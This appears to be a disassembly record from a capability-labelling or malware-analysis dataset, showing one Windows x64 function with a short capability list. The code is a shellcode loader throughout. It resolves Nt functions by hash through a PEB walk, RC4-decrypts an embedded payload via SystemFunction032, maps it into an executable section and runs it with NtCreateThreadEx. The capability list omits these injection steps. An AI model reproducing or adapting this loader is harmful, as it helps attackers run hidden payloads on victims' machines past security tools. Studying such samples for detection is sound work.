Function at 0x1400011f0
Capabilities:
Check os version
Encrypt data using rc4 via systemfunction032
Parse pe header

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
test rax, rax
je 0x1400015fd
cmp dword [rax + 0x118], 0xa
jne 0x1400015fd
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x20]
mov eax, 0x5a4d
mov rsi, qword [rcx]
mov rcx, qword [rsi + 0x20]
cmp word [rcx], ax
jne 0x1400015fd
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400015fd
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
je 0x1400015fd
lea rax, [0x1400051d8]
mov qword [rsp + 0xe0], rbx
lea rbx, [0x1400050c0]
mov dword [rbp + 7], 0x10
lea rcx, str.Advapi32
mov qword [rbp - 9], rbx
mov dword [rbp + 0xb], 0x10
mov qword [rbp + 0xf], rax
mov dword [rbp - 0x11], 0x114
mov dword [rbp - 0xd], 0x114
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x11]
call rax
test eax, eax
je 0x140001306
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
mov eax, 0xffffffff
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140001640
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0xe8], r14
lea r9, [rbp - 1]
movabs rax, 0x2329e81ac5d1497a
mov qword [rbp + 0x27], 0x114
mov qword [rbp - 1], rax
lea r8, [rbp - 0x11]
lea rax, [rbp - 0x19]
mov qword [rsp + 0xf0], r15
xor r15d, r15d
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x17], r15
mov rdx, rdi
mov qword [rbp + 0x1f], r15
mov r14d, r15d
mov qword [rbp + 0x2f], r15
mov rcx, qword [rsi + 0x20]
mov qword [rbp - 0x11], r15
mov word [rbp - 0x19], r15w
call fcn.140001070
test eax, eax
je 0x1400013ad
movzx ecx, word [rbp - 0x19]
call fcn.140001610
mov qword [rsp + 0x30], r15
lea r9, [rbp + 0x27]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp + 0x17]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140001621
test eax, eax
je 0x1400013ad
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov rcx, qword [rsi + 0x20]
lea r9, [rbp - 0x11]
movabs rax, 0x2014d82f702e79d4
mov qword [rbp + 7], r15
mov qword [rbp - 0x11], rax
lea r8, [rbp + 7]
lea rax, [rbp - 0x19]
mov qword [rbp - 1], r15
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov word [rbp - 0x19], r15w
call fcn.140001070
test eax, eax
je 0x140001449
movzx ecx, word [rbp - 0x19]
call fcn.140001610
mov rcx, qword [rbp + 0x17]
lea rax, [rbp + 0x2f]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp - 1]
mov qword [rsp + 0x40], r15
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, 0xffffffffffffffff
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call fcn.140001621
test eax, eax
je 0x140001445
mov edx, eax
lea rcx, str.____NtMapViewOfSection_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x140001449
mov r14, qword [rbp - 1]
mov rcx, r14
mov eax, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001451
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
mov eax, dword [rbx + 0x10]
mov dword [rcx + 0x10], eax
lea rcx, str.hThread:__p_n
mov rdx, qword [rbp + 0x1f]
call fcn.140001010
mov rdx, r14
lea rcx, str.hThread:__p_n
call fcn.140001010
mov rcx, qword [rsi + 0x20]
lea r9, [rbp + 7]
movabs rax, 0x8866eb7e75145f1a
mov qword [rbp - 0x11], r15
mov qword [rbp + 7], rax
lea r8, [rbp - 0x11]
lea rax, [rbp - 0x19]
mov word [rbp - 0x19], r15w
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.140001070
test eax, eax
je 0x14000156b
movzx ecx, word [rbp - 0x19]
call fcn.140001610
mov qword [rsp + 0x50], r15
lea rcx, [rbp + 0x1f]
mov qword [rsp + 0x48], r15
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov edx, 0x1fffff
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
call fcn.140001621
test eax, eax
je 0x14000155f
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x14000156b
lea rcx, str.____NtCreateThreadEx_Success
call fcn.140001010
mov rcx, qword [rsi + 0x20]
lea r9, [rbp + 7]
movabs rax, 0xf56ea80ef5031e7
mov qword [rbp - 0x11], r15
mov qword [rbp + 7], rax
lea r8, [rbp - 0x11]
lea rax, [rbp - 0x19]
mov word [rbp - 0x19], r15w
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.140001070
mov r15, qword [rsp + 0xf0]
mov r14, qword [rsp + 0xe8]
test eax, eax
je 0x1400015f0
movzx ecx, word [rbp - 0x19]
call fcn.140001610
mov rcx, qword [rbp + 0x17]
call fcn.140001621
test eax, eax
je 0x1400015e4
mov edx, eax
lea rcx, str.____NTClose_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400012e7
lea rcx, str.____NTClose_Success
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400012e7
mov eax, 1
jmp 0x1400012ef